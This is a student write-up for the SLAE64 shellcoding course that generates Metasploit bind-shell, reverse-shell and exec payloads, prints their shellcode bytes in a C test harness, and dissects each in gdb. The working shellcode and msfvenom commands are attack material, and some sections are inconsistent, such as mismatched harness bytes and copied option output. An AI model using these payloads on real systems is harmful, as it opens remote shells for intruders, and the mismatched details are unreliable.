SLAE64
SLAE64

This post introduces my 5th mission of my SLAE64 journey.

Introduction

The SLAE64 5th assignment’s purpose is to select three msfvenom payloads, dissect them with gdb, and document my analysis.

For this task, I selected the following payloads:

  • linux/x86/shell_bind_tcp
  • linux/x86/shell_reverse_tcp
  • linux/x86/chmod

Shellcode 1 - linux/x64/shell_bind_tcp


The first step to do is to generate the shellcode using MSF. As usual, let’s check its arguments.

msfvenom -p linux/x64/shell_bind_tcp --list-options

-[~]$ msfvenom -p linux/x64/shell_bind_tcp --list-options
Options for payload/linux/x64/shell_bind_tcp:
=========================


       Name: Linux Command Shell, Bind TCP Inline
     Module: payload/linux/x64/shell_bind_tcp
   Platform: Linux
       Arch: x64
Needs Admin: No
 Total size: 86
       Rank: Normal

Provided by:
    ricky

Basic options:
Name   Current Setting  Required  Description
----   ---------------  --------  -----------
LPORT  4444             yes       The listen port
RHOST                   no        The target address

Description:
  Listen for a connection and spawn a command shell

Let’s get our bind shell using msfvenom. The command below will by default point to 127.0.0.1 and port 4444.

[~]$ msfvenom -p linux/x64/shell_bind_tcp -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 86 bytes
Final size of c file: 389 bytes
unsigned char buf[] = 
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97"
"\x52\xc7\x04\x24\x02\x00\x11\x5c\x48\x89\xe6\x6a\x10\x5a"
"\x6a\x31\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48\x31\xf6\x6a"
"\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21"
"\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
"\x0f\x05";

Compile and Testing the Shellcode

Adding the shellcode to our tester program - shellcode.c

#include<stdio.h>
#include<string.h>

unsigned char code[] =
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97"
"\x52\xc7\x04\x24\x02\x00\x11\x5c\x48\x89\xe6\x6a\x10\x5a"
"\x6a\x31\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48\x31\xf6\x6a"
"\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21"
"\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
"\x0f\x05";
int main()
{
        int (*ret)() = (int(*)())code;
        ret();
}

Compiling with gcc and executing it.

╭─edu@debian ~/Desktop/slae_x86_64/assignments/5-MSF-Shellcode-Analysis/shell_bind-tcp ‹main●› 

╰─$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
╭─edu@debian ~/Desktop/slae_x86_64/assignments/5-MSF-Shellcode-Analysis/shell_bind-tcp ‹main●› 
╰─$ ./shellcode 

----------------

╭─edu@debian ~/Desktop/slae_x86_64/assignments/1-shell-bind-tcp-password-shellcode ‹main●› 
╰─$ nc -nv 127.0.0.1 4444 
(UNKNOWN) [127.0.0.1] 4444 (?) open
id
uid=1000(edu) gid=1000(edu)

GDB Analysis

For this analysis I used GEF plugin to assist my analysis with GDB.

gdb -q ./shellcode

First, we put a breakpoint in code[] to pause the execution at the beginning of the shellcode.

╭─edu@debian ~/Desktop/slae_x86_64/assignments/5-MSF-Shellcode-Analysis/shell_bind-tcp ‹main●› 
╰─$ gdb -q ./shellcode
GEF for linux ready, type `gef' to start, `gef config' to configure
77 commands loaded for GDB 8.2.1 using Python engine 3.7
gef➤  b *&code
Breakpoint 1 at 0x4040
gef➤  r

We go direct to the shellcode’s first instruction.

Disassembling Bind TCP Shellcode

With the instruction disas we can disassemble the code function. In our context is the Bind Shellcode.

gef➤  disas
Dump of assembler code for function code:
=> 0x0000555555558040 <+0>:     push   0x29
   0x0000555555558042 <+2>:     pop    rax
   0x0000555555558043 <+3>:     cdq    
   0x0000555555558044 <+4>:     push   0x2
   0x0000555555558046 <+6>:     pop    rdi
   0x0000555555558047 <+7>:     push   0x1
   0x0000555555558049 <+9>:     pop    rsi
   0x000055555555804a <+10>:    syscall 
   0x000055555555804c <+12>:    xchg   rdi,rax
   0x000055555555804e <+14>:    push   rdx
   0x000055555555804f <+15>:    mov    DWORD PTR [rsp],0x5c110002
   0x0000555555558056 <+22>:    mov    rsi,rsp
   0x0000555555558059 <+25>:    push   0x10
   0x000055555555805b <+27>:    pop    rdx
   0x000055555555805c <+28>:    push   0x31
   0x000055555555805e <+30>:    pop    rax
   0x000055555555805f <+31>:    syscall 
   0x0000555555558061 <+33>:    push   0x32
   0x0000555555558063 <+35>:    pop    rax
   0x0000555555558064 <+36>:    syscall 
   0x0000555555558066 <+38>:    xor    rsi,rsi
   0x0000555555558069 <+41>:    push   0x2b
   0x000055555555806b <+43>:    pop    rax
   0x000055555555806c <+44>:    syscall 
   0x000055555555806e <+46>:    xchg   rdi,rax
   0x0000555555558070 <+48>:    push   0x3
   0x0000555555558072 <+50>:    pop    rsi
   0x0000555555558073 <+51>:    dec    rsi
   0x0000555555558076 <+54>:    push   0x21
   0x0000555555558078 <+56>:    pop    rax
   0x0000555555558079 <+57>:    syscall 
   0x000055555555807b <+59>:    jne    0x555555558073 <code+51>
   0x000055555555807d <+61>:    push   0x3b
   0x000055555555807f <+63>:    pop    rax
   0x0000555555558080 <+64>:    cdq    
   0x0000555555558081 <+65>:    movabs rbx,0x68732f6e69622f
   0x000055555555808b <+75>:    push   rbx
   0x000055555555808c <+76>:    mov    rdi,rsp
   0x000055555555808f <+79>:    push   rdx
   0x0000555555558090 <+80>:    push   rdi
   0x0000555555558091 <+81>:    mov    rsi,rsp
   0x0000555555558094 <+84>:    syscall 
End of assembler dump.
Socket Syscall
0x0000555555558040 <+0>:     push   0x29
0x0000555555558042 <+2>:     pop    rax
0x0000555555558043 <+3>:     cdq    
0x0000555555558044 <+4>:     push   0x2
0x0000555555558046 <+6>:     pop    rdi
0x0000555555558047 <+7>:     push   0x1
0x0000555555558049 <+9>:     pop    rsi
0x000055555555804a <+10>:    syscall 
  • rax is set to 0x29 which is the socket syscall number.

  • cdq is for clearing rdx.

  • rdi is set to 0x2 which is AF_INET.

  • rsi is set to 0x1 which is SOCK_STREAM

Bind Syscall
0x000055555555804c <+12>:    xchg   rdi,rax ; stores socket file descriptor in rdi
0x000055555555804e <+14>:    push   rdx     ; rdx is null
0x000055555555804f <+15>:    mov    DWORD PTR [rsp],0x5c110002
0x0000555555558056 <+22>:    mov    rsi,rsp
0x0000555555558059 <+25>:    push   0x10
0x000055555555805b <+27>:    pop    rdx
0x000055555555805c <+28>:    push   0x31
0x000055555555805e <+30>:    pop    rax
0x000055555555805f <+31>:    syscall
  • push rdx will push 4 bytes of zeros regarding IPADDR_ANY. This means it will bind in all interfaces.

  • 0x5c110002

    • 0002 is AF_INET
    • 5c11 if for PORT 4444 in Little-Endian format

Then puts 0x10 (16 bytes) in rdx which is the struct size

  • 0x31 is bind syscall number.
Listen Syscall

0x0000555555558061 <+33>: push 0x32 0x0000555555558063 <+35>: pop rax 0x0000555555558064 <+36>: syscall

  • Puts 0x32 in rax, listen syscall number

  • Listen as a 2nd argument called backlog h in rsi which defines the maximum length to which the queue of pending connections for sockfd may grow. This does not have fundamental importance for our exercise.

Accept Syscall
0x0000555555558066 <+38>:    xor    rsi,rsi
0x0000555555558069 <+41>:    push   0x2b
0x000055555555806b <+43>:    pop    rax
0x000055555555806c <+44>:    syscall
  • Clear rsi and put accpet ssycall number in rax.

As there is no struct needed for the socket address, rsi and rdx are set to zero.

Dup2 Syscall Loop
0x0000555555558070 <+48>:    push   0x3
0x0000555555558072 <+50>:    pop    rsi
0x0000555555558073 <+51>:    dec    rsi
0x0000555555558076 <+54>:    push   0x21
0x0000555555558078 <+56>:    pop    rax
0x0000555555558079 <+57>:    syscall 
0x000055555555807b <+59>:    jne    0x555555558073 <code+51>

The already “famous” dup2 syscall loop for stdin, stdout and stderr.

Puts 0x21, the dup2 syscall number in rax

Execve Syscall

The syscall used to call /bin/sh and spawn a shell to an incoming connection.

0x000055555555807d <+61>:    push   0x3b
0x000055555555807f <+63>:    pop    rax
0x0000555555558080 <+64>:    cdq 
  • set rax with execve syscall
  • cdq clears rdx
0x0000555555558081 <+65>:    movabs rbx,0x68732f6e69622f    ; /bin/sh
0x000055555555808b <+75>:    push   rbx     ; push null
0x000055555555808c <+76>:    mov    rdi,rsp
  • rdi is set to the memory address of the null-terminated string /bin/sh
0x000055555555808f <+79>:    push   rdx     ; push null
0x0000555555558090 <+80>:    push   rdi     ; push memory of /bin/sh
0x0000555555558091 <+81>:    mov    rsi,rsp
0x0000555555558094 <+84>:    syscall 
  • rsi is set to a pointer of a pointer address of /bin/sh
  • Calls execve with the syscall isntruction

Shellcode 2 - linux/x64/shell_reverse_tcp


The first step to do is generate the shellcode using MSF. As usual, let’s check its arguments

msfvenom -p linux/x64/shell_reverse_tcp --list-options

-[~]$ msfvenom -p linux/x64/shell_reverse_tcp --list-options
Options for payload/linux/x64/shell_reverse_tcp:
=========================


       Name: Linux Command Shell, Reverse TCP Inline
     Module: payload/linux/x64/shell_reverse_tcp
   Platform: Linux
       Arch: x64
Needs Admin: No
 Total size: 74
       Rank: Normal

Provided by:
    ricky

Basic options:
Name   Current Setting  Required  Description
----   ---------------  --------  -----------
LHOST                   yes       The listen address (an interface may be specified)
LPORT  4444             yes       The listen port

Let’s get our bind shell using msfvenom. The command below will by default point to 127.0.0.1 and port 4444.

[~]$ msfvenom -p linux/x64/shell_reverse_tcp LHOST='127.1.1.1' -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
unsigned char shellcode[] =
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
"\xb9\x02\x00\x11\x5c\x7f\x01\x01\x01\x51\x48\x89\xe6\x6a\x10"
"\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"
"\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";

Compile and Testing the Shellcode

Adding the shellcode to our tester program - shellcode.c

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97"
"\x52\xc7\x04\x24\x02\x00\x11\x5c\x48\x89\xe6\x6a\x10\x5a"
"\x6a\x31\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48\x31\xf6\x6a"
"\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21"
"\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
"\x0f\x05";


main() {

	printf("Shellcode Length: %d\n", strlen(code));
	int (*ret)() = (int(*)())code;

	ret();

}

Compiling with gcc and executing it.

╭─edu@debian ~/Desktop/slae_x86_64/assignments/5-MSF-Shellcode-Analysis/shell_reverse-tcp ‹main●› 
╰─$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
shellcode.c:12:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
 main() {
 ^~~~

╭─edu@debian ~/Desktop/slae_x86_64/assignments/5-MSF-Shellcode-Analysis/shell_reverse-tcp ‹main●› 
╰─$ ./shellcode 
Shellcode Length: 17

----------------

╭─edu@debian ~/Desktop/slae_x86_64/assignments/1-shell-bind-tcp-password-shellcode ‹main●› 
╰─$ nc -lvnp 4444                                                                                    1listening on [any] 4444 ...
connect to [127.1.1.1] from (UNKNOWN) [127.0.0.1] 44176
whoami
edu

GDB Analysis

For this analysis I used GEF plugin to assist my analysis with GDB.

gdb -q ./shellcode

First, we put a breakpoint in code[] to pause the execution at the beginning of the shellcode.

─edu@debian ~/Desktop/slae_x86_64/assignments/5-MSF-Shellcode-Analysis/shell_reverse-tcp ‹main●› 
╰─$ gdb -q shellcode
GEF for linux ready, type `gef' to start, `gef config' to configure
77 commands loaded for GDB 8.2.1 using Python engine 3.7
gef➤  b *&code
Breakpoint 1 at 0x4060
gef➤  r

We go direct to the shellcode’s first instruction.

Disassembling Reverse TCP Shellcode

With the instruction disas we can disassemble the code function. In our context is the Bind Shellcode.

gef➤  disas
Dump of assembler code for function code:
=> 0x0000555555558060 <+0>:     push   0x29
   0x0000555555558062 <+2>:     pop    rax
   0x0000555555558063 <+3>:     cdq    
   0x0000555555558064 <+4>:     push   0x2
   0x0000555555558066 <+6>:     pop    rdi
   0x0000555555558067 <+7>:     push   0x1
   0x0000555555558069 <+9>:     pop    rsi
   0x000055555555806a <+10>:    syscall 
   0x000055555555806c <+12>:    xchg   rdi,rax
   0x000055555555806e <+14>:    movabs rcx,0x101017f5c110002
   0x0000555555558078 <+24>:    push   rcx
   0x0000555555558079 <+25>:    mov    rsi,rsp
   0x000055555555807c <+28>:    push   0x10
   0x000055555555807e <+30>:    pop    rdx
   0x000055555555807f <+31>:    push   0x2a
   0x0000555555558081 <+33>:    pop    rax
   0x0000555555558082 <+34>:    syscall 
   0x0000555555558084 <+36>:    push   0x3
   0x0000555555558086 <+38>:    pop    rsi
   0x0000555555558087 <+39>:    dec    rsi
   0x000055555555808a <+42>:    push   0x21
   0x000055555555808c <+44>:    pop    rax
   0x000055555555808d <+45>:    syscall 
   0x000055555555808f <+47>:    jne    0x555555558087 <code+39>
   0x0000555555558091 <+49>:    push   0x3b
   0x0000555555558093 <+51>:    pop    rax
   0x0000555555558094 <+52>:    cdq    
   0x0000555555558095 <+53>:    movabs rbx,0x68732f6e69622f
   0x000055555555809f <+63>:    push   rbx
   0x00005555555580a0 <+64>:    mov    rdi,rsp
   0x00005555555580a3 <+67>:    push   rdx
   0x00005555555580a4 <+68>:    push   rdi
   0x00005555555580a5 <+69>:    mov    rsi,rsp
   0x00005555555580a8 <+72>:    syscall 
   0x00005555555580aa <+74>:    add    BYTE PTR [rax],al
End of assembler dump.
Socket Syscall
0x0000555555558040 <+0>:     push   0x29
0x0000555555558042 <+2>:     pop    rax
0x0000555555558043 <+3>:     cdq    
0x0000555555558044 <+4>:     push   0x2
0x0000555555558046 <+6>:     pop    rdi
0x0000555555558047 <+7>:     push   0x1
0x0000555555558049 <+9>:     pop    rsi
0x000055555555804a <+10>:    syscall 
  • rax is set to 0x29 which is the socket syscall number.

  • cdq sets rdx to null.

  • rdi is set to 0x2 which is AF_INET.

  • rsi is set to 0x1 which is SOCK_STREAM

Connect Syscall

Below the struct for the socket address.

0x000055555555804c <+12>:    xchg   rdi,rax ; stores socket file descriptor in rdi
0x000055555555806e <+14>:    movabs rcx,0x101017f5c110002
0x0000555555558078 <+24>:    push   rcx
0x0000555555558079 <+25>:    mov    rsi,rsp
0x000055555555807c <+28>:    push   0x10
0x000055555555807e <+30>:    pop    rdx
0x000055555555807f <+31>:    push   0x2a
0x0000555555558081 <+33>:    pop    rax
0x0000555555558082 <+34>:    syscall
  • Puts 0x101017f5c110002 in rcx and passes the struct pointer to rsi
    • 0002 is AF_INET
    • 5c11 if for PORT 4444 in Little-Endian format
    • 101017f if the IP address 127.0.0.1

Then puts 0x10 (16 bytes) in rdx which is the struct size

  • 0x2a is connect syscall number.
Dup2 Syscall Loop
0x0000555555558070 <+48>:    push   0x3
0x0000555555558072 <+50>:    pop    rsi
0x0000555555558073 <+51>:    dec    rsi
0x0000555555558076 <+54>:    push   0x21
0x0000555555558078 <+56>:    pop    rax
0x0000555555558079 <+57>:    syscall 
0x000055555555807b <+59>:    jne    0x555555558073 <code+51>

The already “famous” dup2 syscall loop for stdin, stdout and stderr.

Puts 0x21, the dup2 syscall number in rax

Execve Syscall

The syscall used to call /bin/sh and spawn a shell to an incoming connection.

0x000055555555807d <+61>:    push   0x3b
0x000055555555807f <+63>:    pop    rax
0x0000555555558080 <+64>:    cdq 
  • set rax with execve syscall
  • cdq clears rdx
0x0000555555558081 <+65>:    movabs rbx,0x68732f6e69622f    ; /bin/sh
0x000055555555808b <+75>:    push   rbx     ; push null
0x000055555555808c <+76>:    mov    rdi,rsp
  • rdi is set to the memory address of the null-terminated string /bin/sh
0x000055555555808f <+79>:    push   rdx     ; push null
0x0000555555558090 <+80>:    push   rdi     ; push memory of /bin/sh
0x0000555555558091 <+81>:    mov    rsi,rsp
0x0000555555558094 <+84>:    syscall 
  • rsi is set to a pointer of a pointer address of /bin/sh
  • Calls execve with the syscall instruction

Shellcode 3 - linux/x64/exec


The first step to do is generate the shellcode using MSF. As usual, let’s check its arguments

msfvenom -p linux/x64/exec --list-options

-[~]$ msfvenom -p linux/x64/shell_reverse_tcp --list-options
Options for payload/linux/x64/shell_reverse_tcp:
=========================


       Name: Linux Command Shell, Reverse TCP Inline
     Module: payload/linux/x64/shell_reverse_tcp
   Platform: Linux
       Arch: x64
Needs Admin: No
 Total size: 74
       Rank: Normal

Provided by:
    ricky

Basic options:
Name   Current Setting  Required  Description
----   ---------------  --------  -----------
LHOST                   yes       The listen address (an interface may be specified)
LPORT  4444             yes       The listen port

Description:
  Connect back to attacker and spawn a command shell

Let’s get our bind shell using msfvenom. The command below will by default point to 127.0.0.1 and port 4444.

[~]$ msfvenom -p linux/x64/exec CMD=whoami -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 43 bytes
Final size of c file: 208 bytes
unsigned char buf[] = 
"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f"
"\x52\x66\x68\x2d\x63\x54\x5e\x52\xe8\x07\x00\x00\x00\x77"
"\x68\x6f\x61\x6d\x69\x00\x56\x57\x54\x5e\x6a\x3b\x58\x0f"
"\x05";

Compile and Testing the Shellcode

Adding the shellcode to our tester program - shellcode.c

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f"
"\x52\x66\x68\x2d\x63\x54\x5e\x52\xe8\x07\x00\x00\x00\x77"
"\x68\x6f\x61\x6d\x69\x00\x56\x57\x54\x5e\x6a\x3b\x58\x0f"
"\x05";


main() {

	printf("Shellcode Length: %d\n", strlen(code));
	int (*ret)() = (int(*)())code;

	ret();

}

Compiling with gcc and executing it.

╭─edu@debian ~/Desktop/slae_x86_64/assignments/5-MSF-Shellcode-Analysis/exec ‹main●› 
╰─$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c                                                                                                              130shellcode.c:11:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
 main() {
 ^~~~

╭─edu@debian ~/Desktop/slae_x86_64/assignments/5-MSF-Shellcode-Analysis/exec ‹main●› 
╰─$ ./shellcode 
Shellcode Length: 9
edu

GDB Analysis

For this analysis I used GEF plugin to assist my analysis with GDB.

gdb -q ./shellcode

First, we put a breakpoint in code[] to pause the execution at the beginning of the shellcode.

╭─edu@debian ~/Desktop/slae_x86_64/assignments/5-MSF-Shellcode-Analysis/exec ‹main●› 
╰─$ gdb -q shellcode
GEF for linux ready, type `gef' to start, `gef config' to configure
77 commands loaded for GDB 8.2.1 using Python engine 3.7
gef➤  b *&code
Breakpoint 1 at 0x4060
gef➤  r

We go direct to the shellcode’s first instruction.

Disassembling Reverse TCP Shellcode

With the instruction disas we can disassemble the code function. In our context is the exec Shellcode.

Disassembling Reverse TCP Shellcode

gef➤  disas
Dump of assembler code for function code:
=> 0x0000555555558060 <+0>:     movabs rax,0x68732f6e69622f
   0x000055555555806a <+10>:    cdq    
   0x000055555555806b <+11>:    push   rax
   0x000055555555806c <+12>:    push   rsp
   0x000055555555806d <+13>:    pop    rdi
   0x000055555555806e <+14>:    push   rdx
   0x000055555555806f <+15>:    pushw  0x632d
   0x0000555555558073 <+19>:    push   rsp
   0x0000555555558074 <+20>:    pop    rsi
   0x0000555555558075 <+21>:    push   rdx
   0x0000555555558076 <+22>:    call   0x555555558082 <code+34>
   0x000055555555807b <+27>:    ja     0x5555555580e5
   0x000055555555807d <+29>:    outs   dx,DWORD PTR ds:[rsi]
   0x000055555555807e <+30>:    (bad)  
   0x000055555555807f <+31>:    ins    DWORD PTR es:[rdi],dx
   0x0000555555558080 <+32>:    imul   eax,DWORD PTR [rax],0x5e545756
   0x0000555555558086 <+38>:    push   0x3b
   0x0000555555558088 <+40>:    pop    rax
   0x0000555555558089 <+41>:    syscall 
   0x000055555555808b <+43>:    add    BYTE PTR [rax],al
End of assembler dump.

/bin/sh? Push, push and push to the stack!

0x0000555555558060 <+0>:     movabs rax,0x68732f6e69622f    ; /bin/sh
0x000055555555806a <+10>:    cdq    
0x000055555555806b <+11>:    push   rax
0x000055555555806c <+12>:    push   rsp
0x000055555555806d <+13>:    pop    rdi
  • /bin/sh moved to rax and pushed to the stack.
  • cdq zeroes rdx.
  • pushed a pointer of a pointer to /binsh with push rsp and poped to rdi. It holds a pointer to the command to be executed.

Command Flag (-c)

0x000055555555806e <+14>:    push   rdx
0x000055555555806f <+15>:    pushw  0x632d  ; -c
0x0000555555558073 <+19>:    push   rsp
0x0000555555558074 <+20>:    pop    rsi
  • push rdx null terminates -c string.
  • rdi points to -c

Obfudcated “Call-Push-Pop” Syscall? Calling execve in a different way

0x0000555555558076 <+22>:    call   0x555555558082 <code+34>
0x000055555555807b <+27>:    ja     0x5555555580e5
[...]
0x0000555555558080 <+32>:    imul   eax,DWORD PTR [rax],0x5e545756  ; redirected to the "middle"
0x555555558086 <code+38>:    push   0x3b
0x555555558088 <code+40>:    pop    rax
0x555555558089 <code+41>:    syscall 

Here we have a deja vú of the SLAE32 MSF Shellcode Analysis assignment.

The call is used to store the next instruction address onto the stack and redirect execution further in the “middle” of 0x0000555555558080 <+32>: imul eax,DWORD PTR [rax],0x5e545756 instruction

gef➤  x/7i 0x555555558082
    0x555555558082 <code+34>:    push   rsi
    0x555555558083 <code+35>:    push   rdi
    0x555555558084 <code+36>:    push   rsp
    0x555555558085 <code+37>:    pop    rsi
    0x555555558086 <code+38>:    push   0x3b
    0x555555558088 <code+40>:    pop    rax
    0x555555558089 <code+41>:    syscall 

Based on the call address, I examined the isntruction after that address and the above obfuscated appeared “magically”.

The execve’s Command
0x0000555555558076 <+22>:    call   0x555555558082 <code+34>
0x000055555555807b <+27>:    ja     0x5555555580e5
0x000055555555807d <+29>:    outs   dx,DWORD PTR ds:[rsi]
0x000055555555807e <+30>:    (bad)  
0x000055555555807f <+31>:    ins    DWORD PTR es:[rdi],dx
0x0000555555558080 <+32>:    imul   eax,DWORD PTR [rax],0x5e545756

The call instruction does the magic here. It pushes onto the top of the stack at the following address. In practical terms, the next instruction’s bytes are pushed onto the stack, and the CPU will read those bytes until it finds a null.

If we examine the address of ja 0x5555555580e5, we verify the command whoami is right there.

gef➤  x/s 0x000055555555807b
0x55555555807b <code+27>:       "whoami"
Everything set, call execve!

Let’s check how the stack and the registers are set before the interruption syscall.

Exec syscall
Exec syscall


This blog post has been created for completing the requirements of the x86_64 Assembly Language and Shellcoding on Linux (SLAE64): https://www.pentesteracademy.com/course?id=7

Student ID: PA-31319

All the source code files are available on GitHub at https://github.com/0xnibbles/slae_x86_64